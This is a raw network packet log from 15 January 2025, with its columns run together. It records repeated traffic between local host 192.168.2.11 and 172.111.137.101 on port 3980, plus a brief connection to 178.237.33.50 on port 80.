                                                                                          Jan 15, 2025 09:09:26.846458912 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.846471071 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.846492052 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:26.846492052 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:26.846518040 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:26.847279072 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.847337008 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:26.847368956 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.847390890 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.847399950 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.847405910 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.847410917 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.847413063 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.847418070 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.847444057 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:26.847493887 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:26.848217010 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.848268032 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.848283052 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.848287106 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:26.848293066 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.848407984 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:26.890585899 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:26.966242075 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.966263056 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.966276884 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.966321945 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.966344118 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.966345072 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:26.966370106 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.966389894 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.966401100 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.966439009 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:26.966439009 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:26.966439009 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:26.966548920 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.966590881 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.966609001 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.966622114 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.966634035 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.966640949 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:26.966902971 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.966922045 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.966927052 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:26.966933966 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.966944933 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.966957092 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.967000008 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:26.967000008 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:26.967000008 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:26.967197895 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.967238903 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.967294931 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:26.967298031 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.967308998 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.967335939 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.967348099 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.967353106 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:26.967360020 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.967372894 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.967392921 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:26.967657089 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:26.967828035 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.967840910 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.967853069 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.967864990 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.967878103 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.967900991 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:26.967900991 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:26.967930079 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.967948914 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.967959881 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.967962980 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:26.967968941 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.967977047 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.967978001 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.968565941 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.968576908 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.968580961 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:26.968580961 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:26.968591928 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.968611956 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.968625069 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.968636036 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.968648911 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.968652010 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:26.968652010 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:26.968691111 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:26.969218969 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.969229937 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.969240904 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.969265938 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.969279051 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.969290018 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.969301939 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.969312906 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.969317913 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:26.969317913 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:26.969326019 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.969336987 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.969347954 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.969358921 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.969372034 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.969383001 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:26.969383001 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:26.969383001 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:26.969398975 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:26.970011950 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.970021009 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.970024109 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.970031977 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.970040083 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.970051050 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.970067024 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.970084906 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:26.970113039 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:26.970113039 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:26.970144987 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.970156908 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.970170021 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.970180988 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.970192909 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.970205069 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.970208883 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:26.970231056 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:26.970284939 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:26.970880985 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.970897913 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.970910072 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.970922947 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.970936060 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:26.971061945 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:26.971061945 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.015609026 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.036984921 CET4970980192.168.2.11178.237.33.50
                                                                                          Jan 15, 2025 09:09:27.041892052 CET8049709178.237.33.50192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.042078972 CET4970980192.168.2.11178.237.33.50
                                                                                          Jan 15, 2025 09:09:27.042226076 CET4970980192.168.2.11178.237.33.50
                                                                                          Jan 15, 2025 09:09:27.047087908 CET8049709178.237.33.50192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.056401968 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.056420088 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.056431055 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.056443930 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.056454897 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.056467056 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.056503057 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.056566000 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.089617968 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.089639902 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.089653969 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.089705944 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.089716911 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.089729071 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.089742899 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.089809895 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.089822054 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.089855909 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.089855909 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.089855909 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.089855909 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.089894056 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.089911938 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.089924097 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.089935064 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.089952946 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.090015888 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.090015888 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.090015888 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.090099096 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.090111971 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.090125084 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.090164900 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.090177059 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.090183020 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.090202093 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.090203047 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.090214014 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.090224981 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.090235949 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.090239048 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.090321064 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.090322018 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.090622902 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.090641022 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.090652943 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.090666056 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.090677977 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.090689898 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.090701103 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.090713024 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.090724945 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.090732098 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.090732098 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.090732098 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.090737104 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.090889931 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.090889931 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.090925932 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.091012001 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.091023922 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.091036081 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.091053009 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.091207981 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.091207981 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.091298103 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.091346025 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.091356039 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.091357946 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.091371059 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.091393948 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.091428041 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.091447115 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.091459990 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.091485977 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.091499090 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.091509104 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.091588974 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.091588974 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.091588974 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.091612101 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.091625929 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.091667891 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.091727972 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.091739893 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.091752052 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.091923952 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.091923952 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.094819069 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.094830990 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.094841957 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.094964027 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.094984055 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.094995975 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.095006943 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.095019102 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.095025063 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.095025063 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.095029116 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.095052004 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.095053911 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.095066071 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.095071077 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.095072985 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.095077991 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.095088959 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.095093966 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.095112085 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.095233917 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.095235109 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.095447063 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.095463991 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.095475912 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.095494032 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.095496893 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.095505953 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.095516920 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.095530987 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.095541000 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.095546007 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.095560074 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.095566988 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.095566988 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.095601082 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.095613003 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.095623970 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.095889091 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.095889091 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.095889091 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.096050024 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.096061945 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.096080065 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.096088886 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.096091986 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.096103907 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.096117020 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.096132040 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.096137047 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.096155882 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.096168995 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.096185923 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.096194029 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.096194029 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.096198082 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.096210003 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.096223116 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.096240044 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.096240044 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.096252918 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.096266985 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.096268892 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.096404076 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.096602917 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.096676111 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.096690893 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.096730947 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.096736908 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.096739054 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.096743107 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.096754074 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.096765995 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.096780062 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.096838951 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.096838951 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.107175112 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.143541098 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.143556118 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.143615007 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.143672943 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.143685102 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.143696070 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.143714905 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.143727064 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.143737078 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.143740892 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.143753052 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.143764019 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.143775940 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.143790007 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.143790007 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.143836021 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.143855095 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.143861055 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.143868923 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.143876076 CET398049708172.111.137.101192.168.2.11
                                                                                          Jan 15, 2025 09:09:27.143881083 CET497083980192.168.2.11172.111.137.101
                                                                                          Jan 15, 2025 09:09:27.143881083 CET497083980192.168.2.11172.111.137.101
